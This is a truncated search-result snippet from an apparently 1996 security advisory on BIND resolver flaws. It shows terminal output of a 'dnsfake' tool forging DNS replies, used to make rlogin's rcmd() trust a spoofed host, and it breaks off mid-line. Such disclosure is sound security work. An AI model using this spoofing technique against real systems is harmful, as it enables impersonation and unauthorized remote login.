Displaying 1 result from an estimated 1 matches for "oakmont".
Did you mean:
amont
1996 Nov 19
0
Serious BIND resolver problems.
...from;
fd_set reads;
On further testing, and implementation of exploitation code, we can verify
that this is indeed possible via the rlogin service. In order to exploit the
problem, we first start a program to send a fake DNS replies.
[root@ariel] [Dec 31 1969 11:59:59pm] [~]% ./dnsfake
oakmont.secnet.com(4732)->idoru.secnet.com(53) : lookup: random-domain.com (1:1)
sent packet fake reply: 270 bytes
idoru.secnet.com(53)->oakmont.secnet.com(4732) : reply: random-domain.com (1:1)
We then cause rcmd() within rlogin to do a host lookup and response with
our false data.
[oliver@oakmont...